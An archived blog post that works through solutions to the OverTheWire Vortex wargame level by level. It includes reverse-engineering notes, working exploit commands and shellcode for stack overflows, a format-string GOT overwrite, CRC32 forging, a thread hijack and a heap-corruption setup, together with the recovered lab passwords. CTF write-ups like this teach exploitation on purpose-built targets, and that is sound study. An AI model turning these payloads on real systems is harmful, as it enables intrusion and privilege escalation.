💾 Archived View for 0x80.org › gemlog › 2014-07-25-solving-overthewire.gmi captured on 2021-12-03 at 14:04:38. Gemini links have been rewritten to link to archived content
-=-=-=-=-=-=-
This is going to be a long post or series of posts. I will be solving and documenting each solution of Vortex game at OvertheWire for fun [^.^]/
Your goal is to connect to port 5842 on vortex.labs.overthewire.org and read in 4 unsigned integers in host byte order. Add these integers together and send back the results to get a username and password for vortex1. This information can be used to log in using SSH.
Note: vortex is on an 32bit x86 machine (meaning, a little endian architecture)
When we connect we get
ze%us:l0/ # nc vortex.labs.overthewire.org 5842 | hexdump -C 00000000 8e 54 6b 5f bc fe 20 21 d0 b5 4b 34 b5 b8 75 1e |.Tk_.. !..K4..u.| ^C
So we have to connect to it, get these 4 numbers add them togeather and send it back.
#!/usr/bin/env python2 import socket import struct def up(x): return struct.unpack("<I", x) def p(x): return struct.pack("<I", x & 0xffffffff) s = socket.socket() s.connect(("vortex.labs.overthewire.org", 5842)) sum = 0 for i in range(4): sum += up(s.recv(4))[0] s.send(str(p(sum))) print s.recv(1024) s.close()
and.
ze%us:l0/ # python2 e.py Username: vortex1 Password: Gq#qu3bF3
next...
We are looking for a specific value in ptr. You may need to consider how bash handles EOF..
#include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #define e(); if(((unsigned int)ptr & 0xff000000)==0xca000000) { setresuid(geteuid(), geteuid(), geteuid()); execlp("/bin/sh", "sh", "-i", NULL); } void print(unsigned char *buf, int len) { int i; printf("[ "); for(i=0; i < len; i++) printf("%x ", buf[i]); printf(" ]\n"); } int main() { unsigned char buf[512]; unsigned char *ptr = buf + (sizeof(buf)/2); unsigned int x; while((x = getchar()) != EOF) { switch(x) { case '\n': print(buf, sizeof(buf)); continue; break; case '\\': ptr--; break; default: e(); if(ptr > buf + sizeof(buf)) continue; ptr++[0] = x; break; } } printf("All done\n"); }
so what we have here ? buf an array of 512 bytes. ptr is buf+(512/2) so it's pointing to the middle of buf. Meaning ptr+256 is the end of buf which is buf+512, and ptr-256 is equals to buf ptr-256-4 is ptr itself :>. The way these variables are layed out in memory are (in order) ptr, x, and buf.
from IDA the main stack looks something like
-00000214 ptr dd ? -00000210 x dd ? -0000020C buf db 512 dup(?) -0000000C cookie dd ?
so since ptr is at &buf[256] we need to decrement it by 256 then by 4 so it reaches itself and let it have 0xca...... so when this value is and'ed it will results in 0xca00000000
vortex1@melinda:XXX$ python -c 'print "\\"*261+"\xca"*4096+";cat /etc/vortex_pass/vortex2"' | /vortex/vortex1 sh: 1: File name too long 23anbT\rE
next
Create a special tar file
#include <stdlib.h> #include <stdio.h> #include <sys/types.h> int main(int argc, char **argv) { char *args[] = { "/bin/tar", "cf", "/tmp/ownership.$.tar", argv[1], argv[2], argv[3] }; execv(args[0], args); }
this takes argv[1-3] as files to be added to /tmp/ownership.$.tar note here that "$" is a special shell character that converts to the process pid you have to not use the special character by adding the backslash to not make it evaluate to the process pid.
vortex2@melinda:XXX$ cp "/tmp/ownership.\$.tar" . && tar xvf ownership.\$\$.tar && cat etc/vortex_pass/vortex3 etc/vortex_pass/vortex3 64ncXTvx#
next
This level is pretty straight forward. Just sit down and understand what the code is doing. Your shellcode will require a setuid(LEVEL4_UID) since bash drops effective privileges. You could alternatively write a quick setuid(geteuid()) wrapper around bash.
NOTE: ctors/dtors might no longer be writable, although this level is compiled with -Wl,-z,norelro.
/* * 0xbadc0ded.org Challenge #02 (2003-07-08) * * Joel Eriksson je@0xbadc0ded.org */ #include <string.h> #include <stdlib.h> #include <stdio.h> unsigned long val = 31337; unsigned long *lp = &val; int main(int argc, char **argv) { unsigned long **lpp = &lp, *tmp; char buf[128]; if (argc != 2) exit(1); strcpy(buf, argv[1]); if (((unsigned long) lpp & 0xffff0000) != 0x08040000) exit(2); tmp = *lpp; **lpp = (unsigned long) &buf; // *lpp = tmp; // Fix suggested by Michael Weissbacher @mweissbacher 2013-06-30 exit(0); }
so we need to make lpp to be an address in 0x0804XXXX since otherwise it will catch this and exit before it does what we want. Next we want it to contain something that can be dereferenced, so what's something in 0x0804XXXX that can be useful and will let us control eip ? It's exit@got.plt :)
let us see how that last exit in main is called.
.text:08048479 E8 A2 FE FF FF call _exit
follow it it'll take you to
.plt:08048320 ; void exit(int status) .plt:08048320 _exit proc near ; CODE XREF: main+24p .plt:08048320 ; main+5Ap ... .plt:08048320 FF 25 38 97 04 08 jmp ds:off_8049738 .plt:08048320 _exit endp
so if we use 0x08048320+2 we'll have something in 0x0804XXXX pointing to 0x08049738 which is exit@got.plt. so if *llp=0x08048320 then **llp=&buf will set the exit@got.plt to &buf meaning that when call exit happens it will jmp to buf[0]... and
vortex3@melinda:~$ /vortex/vortex3 "$(python2 -c 'sh="\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";print "\x90"*(128-len(sh))+sh+"\x22\x83\x04\x08"*30')" $ id uid=5003(vortex3) gid=5003(vortex3) euid=5004(vortex4) groups=5004(vortex4),5003(vortex3) $ cat /etc/vortex_pass/vortex4 2YmgK1=jw
This is the common format string bug, exploit it with care though as a check is made with argc. What is the layout of a process’s memory? How are programs executed?
// -- andrewg, original author was zen-parse :) #include <stdlib.h> int main(int argc, char **argv) { if(argc) exit(0); printf(argv[3]); exit(EXIT_FAILURE); }
This is a format string vulnerability. It has a small trick at the beginning it says that if you input any arguments then you fail! but you have to enter argv[3] so how is that possible ?
looking at the main stack looks something like
+00000000 s db 4 dup(?) +00000004 r db 4 dup(?) +00000008 argc dd ? +0000000C argv dd ? ; offset +00000010 envp dd ? ; offset
So if we execute the binary passing it argv = {NULL} then it'll use envp instead :), so let us write a wrapper around it.
#include <stdio.h> #include <unistd.h> int main(int argc, char **argv) { if(argc != 2) return -1; char *envp[] = {"", "", argv[1], NULL}; char *const args[] = {NULL}; return execve("/vortex/vortex4", args, envp); }
this runs the level passing it {NULL} arguments thus argc == 0 and it won't exit, and we reach envp where it will use envp instead. now we just pass format string stuff to it. Our plan is to overwrite exit@got.plt so we need it's address.
.got.plt:0804A008 off_804A008 dd offset exit ; DATA XREF: _exitr
we need to write on 0x0804a008 and 0x0804a008+2 our address in two parts. First part will contain the first part of our address, and the second part will contain the second part of our address. We first need to find offsets to a controlable place so we can put these two addresses there, and write on them our address.
vortex4@melinda:XXX$ ./exec "$(python -c 'print "\x41"*(4*64)+"\x42"*(4*64)+"%134$.8x"+"%200$.8x"')" AAAAAAAAAAAABBBBBBBBBBBB......etc4241414142424242
so we find that our AAAA's at offset 134 and our BBBB's at offset 200 we set those to the exit got address. Then we set A to exit@got.plt and B to exit@got.plt+2 then we write A with 0xffff and B with 0x0ee0 for example or whatever we have our data. Then we add a huge payload since size doesn't matter.
we write using $hn holder. For eg: want to write 0x1111 at B then 0x1111-length(whatever we have already written). Then if we want to write 0xeeee at A then 0xeeee-"whatever in the second part" here is approximatly is B's value. To calculate them accureatly and faster just look at the debugger and get the exact values if you have made a mistake in B or A. Here we will use %03296x%134$hn which says write 03296 bytes at 134 which is A, and write %00000061727x%200$hn 61727 bytes at 200 which is B. I added those trailing zeros to help me align the stack so I get the right A, and B, because any changes in the stack will mostyl affect the alignment
vortex4@melinda:XXXX$ ./exec "$(python -c 'print "\x08\xa0\x04\x08"*64+"\x0a\xa0\x04\x08"*64+"%03296x%134$hn%00000061727x%200$hn"+"\x90"*0xffe0+"\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"')" 0000......<snip> $ id uid=5004(vortex4) gid=5004(vortex4) euid=5005(vortex5) groups=5005(vortex5),5004(vortex4) $ cat /etc/vortex_pass/vortex5 :4VtbC4lr
next..
A password is required for the next level. vortex5.c and md5.h. a-z,A-Z,0-9 is the search space. The password length is 5 chars long, it was originally 7 chars long.
Collision(s) tested : 489265082 in 217 second(s), 361 millisec, 101 microsec.
Average of 2250932.1 hashes/sec.
/* A tribute to arc :) */ <snip....> int main(int argc, char **argv) { unsigned char buf[16]; MD5Context a; char *x; x = getpass("Password: "); printf("%c:%02x\n", x[strlen(x)-1], x[strlen(x) -1]); MD5Init(&a); MD5Update(&a, x, strlen(x)); MD5Final(buf, &a); if(memcmp(buf, "\x15\x5f\xb9\x5d\x04\x28\x7b\x75\x7c\x99\x6d\x77\xb5\xea\x51\xf7", 16) == 0){ printf("You got the right password, congrats!\n"); setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); system("/bin/sh"); } else { usleep(500); printf("Incorrect password\n"); } exit(0); }
This one is pretty simple just bruteforce the hash above 155fb95d04287b757c996d77b5ea51f7 result is rlTf6
vortex5@melinda:~$ /vortex/vortex5 Password: 6:36 You got the right password, congrats! $ cat /etc/vortex_pass/vortex6
We are provided with a binary file Vortex6[1]. We open it and get.
1: http://overthewire.org/wargames/vortex/vortex6.bin
.text:08048446 ; int __cdecl __noreturn main(int argc, char **argv, char **envp) .text:08048446 public main .text:08048446 main proc near ; DATAXREF:_start+17o .text:08048446 .text:08048446 argc = dword ptr 8 .text:08048446 argv = dword ptr 0Ch .text:08048446 envp = dword ptr 10h .text:08048446 .text:08048446 push ebp .text:08048447 mov ebp, esp .text:08048449 and esp, 0FFFFFFF0h .text:0804844C sub esp, 10h .text:0804844F mov eax, [ebp+envp] .text:08048452 mov eax, [eax] .text:08048454 test eax, eax .text:08048456 jz short print .text:08048458 mov eax, [ebp+argv] .text:0804845B mov eax, [eax] .text:0804845D mov [esp], eax ; file .text:08048460 call restart .text:08048465 .text:08048465 print: ; CODE XREF: main+10j .text:08048465 mov eax, [ebp+envp] .text:08048468 add eax, 0Ch .text:0804846B mov eax, [eax] .text:0804846D mov [esp], eax ;format .text:08048470 call _printf .text:08048475 mov dword ptr [esp], 7325h ;status .text:0804847C call __exit .text:0804847C main endp
Translating this to C will be
int __cdecl __noreturn main(int argc, char **argv, char **envp) { if ( *envp ) restart(*argv); printf(envp[3]); _exit(0x7325); }
so if we have envp then restart(). which looks like
int __cdecl restart(char *file) { return execlp(file, file, 0); }
we control argv[0] so we can execute any command. We need to have envp and set argv[0] to the file we want to run.
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define TMPF "XXX" int main() { char *envp[] = {"", NULL}; char *args[] = {TMPF, NULL}; execve("/vortex/vortex6", args, envp); } vortex6@melinda:XXX$ gcc e.c -o e -m32 && ln -s /bin/sh exec && ./e $ id uid=5006(vortex6) gid=5006(vortex6) euid=5007(vortex7) groups=5007(vortex7),5006(vortex6) $ cat /etc/vortex_pass/vortex7 Y52jxHtt/ $
next
This level requires CRC_32(argv[1], strlen(argv[1])) to be 0xe1ca95ee. You might need to extract the crc tables from the program.
int main(int argc, char **argv) { char buf[58]; u_int32_t hi; if((hi = crc32(0, argv[1], strlen(argv[1]))) == 0xe1ca95ee) { strcpy(buf, argv[1]); } else { printf("0x%08x\n", hi); } }
I hoped for this not to be an actual crc32 because I don't like reversing crypto, but it was.So first we dump the crc32 table from the binary it's a 256 bytes array it contains the table used to do the crc calculation at the binary it's at 0x080485E0 we reverse the crc32 algorithim which has the following assembly
.text:08048422 compute_crc: ; CODE XREF: crc32+3Dj .text:08048422 mov eax, [ebp+str] .text:08048425 movzx eax, byte ptr [eax] .text:08048428 movzx eax, al .text:0804842B xor eax, [ebp+accu] .text:0804842E and eax, 0FFh .text:08048433 mov eax, ds:crc32_table[eax*4] .text:0804843A mov edx, [ebp+accu] .text:0804843D shr edx, 8 .text:08048440 xor eax, edx .text:08048442 mov [ebp+accu], eax .text:08048445 add [ebp+str], 1 .text:08048449 .text:08048449 check_str_len: ; CODE XREF: crc32+Cj .text:08048449 sub [ebp+str_len], 1 .text:0804844D cmp [ebp+str_len], 0 .text:08048451 jns short compute_crc .text:08048453 mov eax, [ebp+accu] .text:08048456 leave .text:08048457 retn .text:08048457 crc32 endp
in c it looks something like
uint32_t crc32(uint32_t accu, char *from, int idx) { char *str; for (str = from; idx > 0; str++, --idx) { uint8_t crc32_entry = accu ^ *str; accu = (accu >> 8) ^ crc32_table[crc32_entry]; } return accu; }
we make sure it gives us same values as in the binary. Now I have spent some time reading on reversing crc32 as I haven't dealt with this before and it's not that complicated. What we need is "kindof" derive the actual values of the current crc32 then we calculate a new crc32 and create a value that if appended in the bytestream it will make the crc32 equals what we wanted. Thus we can inject extra data in the bytestream and adding our pad that will cause the crc to be the same. If we do that we reach the strcpy function in main and we can overflow buf, ...etc So how we do this ? instead of rephrasing what others said I'll just quote anarchriz[2] post about the subject.
2: http://www.woodmann.com/fravia/crctut1.htm
Take for CRC register before, a3 a2 a1 a0 -> AB CD EF 66
Take for CRC register after, f3 f2 f1 f0 -> 56 33 14 78 (wanted value)
Here we go:
First byte of entries entry value
e3=f3 =56 -> 35h=(4) 56B3C423 for e3 e2 e1 e0
d3=f2+e2 =33+B3 =E6 -> 4Fh=(3) E6635C01 for d3 d2 d1 d0
c3=f1+e1+d2 =14+C4+63 =B3 -> F8h=(2) B3667A2E for c3 c2 c1 c0
b3=f0+e0+d1+c2=78+23+5C+66=61 -> DEh=(1) 616BFFD3 for b3 b2 b1 b0
Now we have all needed values, then
X=(1)+ a0= DE+66=B8
Y=(2)+ b0+a1= F8+D3+EF=C4
Z=(3)+ c0+b1+a2= 4F+2E+FF+CD=53
W=(4)+d0+c1+b2+a3=35+01+7A+6B+AB=8E
(final computation)
Conclusion: to change the CRC-32 register from ABCDEF66 to 56331478 we need
this sequence of bytes: B8 C4 53 8E
let us continue, we write the code that does all this, which is
#include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> #include <assert.h> uint32_t crc32_table[256] = { 0, 1996959894, 3993919788, 2567524794, 124634137, 1886057615, 3915621685, 2657392035, 249268274, 2044508324, 3772115230, 2547177864, 162941995, 2125561021, 3887607047, 2428444049, 498536548, 1789927666, 4089016648, 2227061214, 450548861, 1843258603, 4107580753, 2211677639, 325883990, 1684777152, 4251122042, 2321926636, 335633487, 1661365465, 4195302755, 2366115317, 997073096, 1281953886, 3579855332, 2724688242, 1006888145, 1258607687, 3524101629, 2768942443, 901097722, 1119000684, 3686517206, 2898065728, 853044451, 1172266101, 3705015759, 2882616665, 651767980, 1373503546, 3369554304, 3218104598, 565507253, 1454621731, 3485111705, 3099436303, 671266974, 1594198024, 3322730930, 2970347812, 795835527, 1483230225, 3244367275, 3060149565, 1994146192, 31158534, 2563907772, 4023717930, 1907459465, 112637215, 2680153253, 3904427059, 2013776290, 251722036, 2517215374, 3775830040, 2137656763, 141376813, 2439277719, 3865271297, 1802195444, 476864866, 2238001368, 4066508878, 1812370925, 453092731, 2181625025, 4111451223, 1706088902, 314042704, 2344532202, 4240017532, 1658658271, 366619977, 2362670323, 4224994405, 1303535960, 984961486, 2747007092, 3569037538, 1256170817, 1037604311, 2765210733, 3554079995, 1131014506, 879679996, 2909243462, 3663771856, 1141124467, 855842277, 2852801631, 3708648649, 1342533948, 654459306, 3188396048, 3373015174, 1466479909, 544179635, 3110523913, 3462522015, 1591671054, 702138776, 2966460450, 3352799412, 1504918807, 783551873, 3082640443, 3233442989, 3988292384, 2596254646, 62317068, 1957810842, 3939845945, 2647816111, 81470997, 1943803523, 3814918930, 2489596804, 225274430, 2053790376, 3826175755, 2466906013, 167816743, 2097651377, 4027552580, 2265490386, 503444072, 1762050814, 4150417245, 2154129355, 426522225, 1852507879, 4275313526, 2312317920, 282753626, 1742555852, 4189708143, 2394877945, 397917763, 1622183637, 3604390888, 2714866558, 953729732, 1340076626, 3518719985, 2797360999, 1068828381, 1219638859, 3624741850, 2936675148, 906185462, 1090812512, 3747672003, 2825379669, 829329135, 1181335161, 3412177804, 3160834842, 628085408, 1382605366, 3423369109, 3138078467, 570562233, 1426400815, 3317316542, 2998733608, 733239954, 1555261956, 3268935591, 3050360625, 752459403, 1541320221, 2607071920, 3965973030, 1969922972, 40735498, 2617837225, 3943577151, 1913087877, 83908371, 2512341634, 3803740692, 2075208622, 213261112, 2463272603, 3855990285, 2094854071, 198958881, 2262029012, 4057260610, 1759359992, 534414190, 2176718541, 4139329115, 1873836001, 414664567, 2282248934, 4279200368, 1711684554, 285281116, 2405801727, 4167216745, 1634467795, 376229701, 2685067896, 3608007406, 1308918612, 956543938, 2808555105, 3495958263, 1231636301, 1047427035, 2932959818, 3654703836, 1088359270, 936918000, 2847714899, 3736837829, 1202900863, 817233897, 3183342108, 3401237130, 1404277552, 615818150, 3134207493, 3453421203, 1423857449, 601450431, 3009837614, 3294710456, 1567103746, 711928724, 3020668471, 3272380065, 1510334235, 755167117 }; uint32_t crc32(uint32_t accu, char *from, int idx); uint8_t eb(uint32_t s, int i); uint32_t fe(uint8_t b); int main(int argc, char **argv) { uint32_t tr_seed; uint32_t in_seed; uint32_t pad; uint8_t t[3]; uint8_t t_idx[3]; int i; unsigned char *evil_crc; int evil_len; if (argc != 2) { return -1; } tr_seed = 0xee95cae1; in_seed = crc32(0, argv[1], strlen(argv[1])); evil_len = strlen(argv[1]); // top bytes t[0] = eb(tr_seed, 3); t[1] = eb(tr_seed, 2); t[2] = eb(tr_seed, 1); t[3] = eb(tr_seed, 0); // Calculating necessary indexes for reversing crc32 t_idx[0] = fe(t[3]); t_idx[1] = fe(t[2] ^ eb(crc32_table[t_idx[0]], 2)); t_idx[2] = fe(t[1] ^ eb(crc32_table[t_idx[0]], 1) ^ eb(crc32_table[t_idx[1]], 2)); t_idx[3] = fe(t[0] ^ eb(crc32_table[t_idx[0]], 0) ^ eb(crc32_table[t_idx[1]], 1) ^ eb(crc32_table[t_idx[2]], 2)); // pad needed to set crc32 to tr_seed pad = ((t_idx[3] ^ eb(in_seed, 0)) << 24) + ((t_idx[2] ^ eb(in_seed, 1) ^ eb(crc32_table[t_idx[3]], 0)) << 16) + ((t_idx[1] ^ eb(in_seed, 2) ^ eb(crc32_table[t_idx[3]], 1) ^ eb(crc32_table[t_idx[2]], 0)) << 8) + ((t_idx[0] ^ eb(in_seed,3) ^ eb(crc32_table[t_idx[3]],2) ^ eb(crc32_table[t_idx[2]],1) ^ eb(crc32_table[t_idx[1]],0))); evil_crc = calloc(evil_len + 4 + 1, sizeof(char *)); if (evil_crc == NULL) return -1; strncpy(evil_crc, argv[1], evil_len); evil_crc[evil_len++] = eb(pad, 3); evil_crc[evil_len++] = eb(pad, 2); evil_crc[evil_len++] = eb(pad, 1); evil_crc[evil_len++] = eb(pad, 0); evil_crc[evil_len] = '\0'; assert(crc32(0, evil_crc, evil_len) == 0xe1ca95ee); for(i=0;i<=evil_len;i++) printf("%c",evil_crc[i]); free(evil_crc); return 0; } uint32_t crc32(uint32_t accu, char *from, int idx) { char *str; for (str = from; idx > 0; str++, --idx) { uint8_t crc32_entry = accu ^ *str; accu = (accu >> 8) ^ crc32_table[crc32_entry]; } return accu; } uint8_t eb(uint32_t s, int i) { return s >> (i * 8) & 0xff; } uint32_t fe(uint8_t b) { int i; for (i = 0; i < 256; i++) { if (eb(crc32_table[i], 3) == b) return i; } return -1; }
then we overwrite eip and find where our shellcode is at...
vortex7@melinda:XXX$ gcc e.c -o e -m32 vortex7@melinda:XXX$ gdb -q /vortex/vortex7 Reading symbols from /games/vortex/vortex7...(no debugging symbols found)...done. (gdb) r "$(./e "$(python -c 'print "\x41"*74+"\x11"*4')")" Starting program: /games/vortex/vortex7 "$(./e "$(python -c 'print "\x41"*74+"\x11"*4')")" Program received signal SIGSEGV, Segmentation fault. 0x11111111 in ?? () (gdb) x/100x $esp ....etc 0xffffd8c0: 0x41414141 0x41414141 0x41414141 0x41414141 ...etc vortex7@melinda:XXX$ /vortex/vortex7 "$(./e "$(python -c 'print "\xcc"*74+"\xa0\xd8\xff\xff"')")" Trace/breakpoint trap vortex7@melinda:XXX$ /vortex/vortex7 "$(./e "$(python -c 'sh="\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";print sh+"\x90"*(74-len(sh))+"\x9f\xd8\xff\xff"*4')")" $ id uid=5007(vortex7) gid=5007(vortex7) euid=5008(vortex8) groups=5008(vortex8),5007(vortex7) $ cat /etc/vortex_pass/vortex8 X70A_gcgl $
next..
Disassemble this dynamically linked executable.
A binary file is provided here[3] we get the file and disassemble it. Which after reversing the file it looks like
3: http://overthewire.org/wargames/vortex/vortex8.bin
int __cdecl main(int argc, char **argv, const char **envp) { __gid_t v3,v4,v5; __uid_t v6,v7,v8; pthread_t thread; pthread_create(&thread, 0, (void *(*)(void *))safecode, 0); v3 = v4 = v6 = getgid(); syscall(SYS_setresgid, v5, v4, v3); v6 = v7 = v8 = getuid(); syscall(SYS_setresuid, v8, v7, v6); unsafecode(argv[1]); return 0; } char *__cdecl unsafecode(char *src) { char dest; // [sp+10h] [bp-408h]@1 return strcpy(&dest, src); } void __cdecl __noreturn safecode() { while ( 1 ) { printf("%d\n", 0); fflush(stdout); sleep(1u); } }
so when this runs it will create a thread that loops and prints 0 every second, flushes stdout, and sleeps for 1u, in the main thread it will SYS_setresgid() the current GID, and SYS_setresuid() the current UID. Then goes into unsafecode() which is a stack overflow. This shows two things. That the thread is running in a different uid than the one executing before it ran before resetting gid, and uid. Thus our attack should be targeted to the thread. When we look at the thread, safecode() we see that it uses printf, fflush, and sleep functions those which execute in a forever loop. We can attack those functions to control the execution getting a shell in the first thread context meaning getting execution for the targeted uid,gid we want to go to the next level.
First we determine what we can write to and what we control.
(gdb) r "$(python -c 'print "\x41"*1032+"\x22"*4+"\x11"*4')" .... (gdb) i r ebp eip ebp 0x22222222 0x22222222 esp 0xffffd2f0 0xffffd2f0 eip 0x11111111 0x11111111
then we find our 0x41's at the stack somewhere near 0xffffd541 so what I'm thinking of is jumping there were we will have a shellcode that will overwrite got.plt of fflush, so the not so safe thread will jump to a controlled place when it calls fflush
.got.plt:0804A00C off_804A00C dd offset fflush
this is the first shellcode that does this.
SECTION .text global main main: mov eax, 0x0804a006 ; fflush@got.plt mov ebx, 0xffffd7f4 ; second payload address ; in stack mov [eax], ebx ; overwrite fflush@got.plt ; with second shellcode addr sleeper: xor eax, eax ; set eax to 0x0000ffff inc eax ; not ax push eax ; push it mov ebx, 0x8048490 ; sleeping function call ebx ; call sleep((int)0xffff)
then we processed with something similar to
[0x90s][overwrite fflush got sh][0x90s][/bin/sh]
after the overwriting of fflush@got.plt with an address pointing to the second nops the main thread will call /bin/sh shellcode when it executes fflush.
vortex8@melinda:XXX$ /vortex/vortex8 "$(python -c 'sha="\xb8\x04\xa0\x04\x08\xbb\xf4\xd7\xff\xff\x89\x18\x31\xc0\x40\x66\xf7\xd0\x50\xbb\x90\x84\x04\x08\xff\xd3";shb="\x90\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";print "\x90"*(516-len(sha))+sha+"\x90"*(516-len(shb))+shb+"\x22"*4+"\x40\xd5\xff\xff"')" 0 $ id uid=5008(vortex8) gid=5008(vortex8) euid=5009(vortex9) groups=5009(vortex9),5008(vortex8) $ cat /etc/vortex_pass/vortex9 ci41)GJhb $ exit
next..
This one was pretty simple, password is at /var/mail/vortex9
Read in 20 integers and write the seed used to generate those numbers in unsigned little endian format. You have a time limit of 30 seconds to do this. You must login to vortex.labs.overthewire.org
After connecting I found a binary scp'd it and started reverse engineering it.
this is how main looks like. So we need to find the actual seed to win, but we only given 10 random numbers, and 30 seconds to enter the seed :). This 30 second is enough I guess. Let us look at how the seed is generated.
.text:08048674 push ebp .text:08048675 mov ebp, esp .text:08048677 push esi .text:08048678 push ebx .text:08048679 and esp, 0FFFFFFF0h .text:0804867C add esp, 0FFFFFF80h .text:0804867F lea eax, [esp+60h] .text:08048683 mov [esp], eax ; buffer .text:08048686 call _times .text:0804868B mov [esp+78h], eax .text:0804868F mov edx, [esp+60h] .text:08048693 mov eax, [esp+64h] .text:08048697 add edx, eax .text:08048699 mov eax, [esp+68h] .text:0804869D add edx, eax .text:0804869F mov eax, [esp+6Ch] .text:080486A3 add eax, edx .text:080486A5 add [esp+78h], eax .text:080486A9 call _clock .text:080486AE add [esp+78h], eax .text:080486B2 mov dword ptr [esp], 0 ; timer .text:080486B9 call _time .text:080486BE add [esp+78h], eax .text:080486C2 mov eax, [esp+78h] .text:080486C6 mov edx, eax .text:080486C8 sar edx, 1Fh .text:080486CB shr edx, 18h .text:080486CE add eax, edx .text:080486D0 and eax, 0FFh .text:080486D5 sub eax, edx .text:080486D7 mov edx, 80h .text:080486DC mov ecx, edx .text:080486DE sub ecx, eax .text:080486E0 mov eax, ecx .text:080486E2 mov [esp+78h], eax .text:080486E6 mov dword ptr [esp], 0 ; timer .text:080486ED call _time .text:080486F2 add eax, [esp+78h] .text:080486F6 mov [esp+7Ch], eax .text:080486FA mov eax, [esp+7Ch] .text:080486FE mov [esp], eax ; seed .text:08048701 call _srand
So the seed actually is something like the following
clkticks = times(&time_buf); a = 0 + 0 + time_buf.tms_utime + 0 + clkticks; a += clock(); a += time(NULL); a = 128 - ((uint8_t)(((uint32_t)(a >> 31) >>24) + a) - ((uint32_t)(a>>31) >>24)); seed = a + time(NULL);
So seed is time in seconds since Epoch 1970-01-01 00000...etc plus a. Here a is a value bounded in [-128,128]. To find the seed we need to use this information. We generate a list of seeds [-128,128]+time(NULL); That's 256 seeds. Second thing is the generated sequenceses aren't from the beginning of the random stream. It's from [0,(positive)a]. So we need also to take care of this.
First we create a wrapper that will print time(NULL) and execute vortex10 so we know the value used for seed.
int main() { printf("%x\n", time(NULL)); execlp("/vortex/vortex10", "vortex10", NULL); }
then we write the exploit
#define E(S,I) (S >> (I*8) & 0xff) uint32_t main() { int leaked_seed, first, i, j; char buf[4] = {0}; scanf("%x %x", &leaked_seed, &first); for(i=-256;i!=256;i++) { srand(leaked_seed+i); for(j=0;j<256;j++) { if(first == rand()) { int sol = leaked_seed+i; buf[0] = E(sol, 0); buf[1] = E(sol, 1); buf[2] = E(sol, 2); buf[3] = E(sol, 3); printf("%c%c%c%c", buf[0], buf[1], buf[2], buf[3]); sleep(1); printf("cat /etc/vortex_pass/vortex11"); return 0; } } } return -1; }
This will read the leaked seed from the wrapper, and the first random value. Then try to find the a value that was added to the leaked seed if such value is found then we use leaked_seed+a as the seed that was used by the level.
vortex10@melinda:XXX$ mkfifo in vortex10@melinda:XXX$ cat in | ./wrapper & [1] 28144 vortex10@melinda:XXX$ 53d0ce19 [ 55abfad3, 0fc2c0f2, 6837546d, 43cf859b, 2f95a69b, 1baa562d, 1a94fc48, 13a29fd5, 28ab2623, 0a4a4048, 4edb5f06, 3c1a5863, 096e13b9, 74f4d5fe, 5157039c, 75270123, 15f029a8, 6774f068, 49fd2d18, 16bbf51b,] vortex10@melinda:XXX$ ./e <<< "53d0ce19 55abfad3" > in vortex10@melinda:XXX$ fg cat in | ./wrapper $ %8sLEszy9
next
You must corrupt the heap in order to gain arbitrary control of this program. Do recall, the application is using phkmalloc.
#include <stdio.h> #include <string.h> int main(int argc, char **argv) { char *p; char *q; char *r; char *s; if (argc < 3) { exit(0); } p = (char *) malloc(0x800); q = (char *) malloc(0x10); r = (char *) malloc(0x800); strcpy(r , argv[1]); s = (char *) malloc(0x10); strncpy(s , argv[2], 0xf); exit(0); }
The malloc here uses phkmalloc an implementation written by Poul-Henning Kamp for Freebsd. We compile this in our machine break at exit and try to gather information about it.
gdb-peda$ pattern_arg 2048 16 Set 2 arguments to program gdb-peda$ r Breakpoint 1, main (argc=0x3, argv=0xffffc334) at vortex11.c:20 20 exit(0); gdb-peda$ p/x p $229 = 0x804d000 gdb-peda$ p/x q $230 = 0x804e030 gdb-peda$ p/x r $231 = 0x804d800 gdb-peda$ p/x s $232 = 0x804e040
we'll be overwriting s from r since we can do that. Let's see what s is
gdb-peda$ p/x 0x0804e040&0xffffff00 $233 = 0x804e000 gdb-peda$ p/x (((struct pginfo)((*0x0804e000)))) $234 = { next = 0x0, page = 0x804e000, size = 0x10, shift = 0x4, free = 0xfb, total = 0xfd, bits = {0xffffffe0} }
so we see the pginfo struct of s. We overwrite stuff and see what happens to the above structure.
gdb-peda$ pattern_arg 2056 16 Set 2 arguments to program gdb-peda$ r <snip> gdb-peda$ p/x (((struct pginfo)((*0x0804e000)))) $244 = { next = 0x44415944, page = 0x5a444175, size = 0x0, shift = 0x4, free = 0xfb, total = 0xfd, bits = {0xffffffe0} } gdb-peda$ pattern_offset 0x5a444175 1514422645 found at offset: 2052 gdb-peda$ pattern_offset 0x44415944 1145133380 found at offset: 2048
so we see that we control page and next for the allocated page of s at this point we see that we have segfaulted in strncpy.
=> 0xf7e5fbf9 <__strncpy_sse2+2857>: movlpd QWORD PTR [edi],xmm0 .... gdb-peda$ i r edi edi 0x5a4441b5 0x5a4441b5 gdb-peda$ i r xmm0 xmm0 { v4_float = {0xf, 0x305, 0x0, 0x0}, v2_double = {0x8000000000000000, 0x0}, v16_int8 = {0x41, 0x44, 0x76, 0x41, 0x44, 0x77, 0x41, 0x44, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0}, v8_int16 = {0x4441, 0x4176, 0x7744, 0x4441, 0x0, 0x0, 0x0, 0x0}, v4_int32 = {0x41764441, 0x44417744, 0x0, 0x0}, v2_int64 = {0x4441774441764441, 0x0}, uint128 = 0x00000000000000004441774441764441 }
from here we see that edi == page, xmm0.v4_int32 is at offset 2056 (in argv[2]). So we can write anything v4_int32 in xmm0 to any edi pointer. Let's see exit@got.plt since this will be called after strncpy finishes :) so when it calls exit it'll be calling our evil exit.
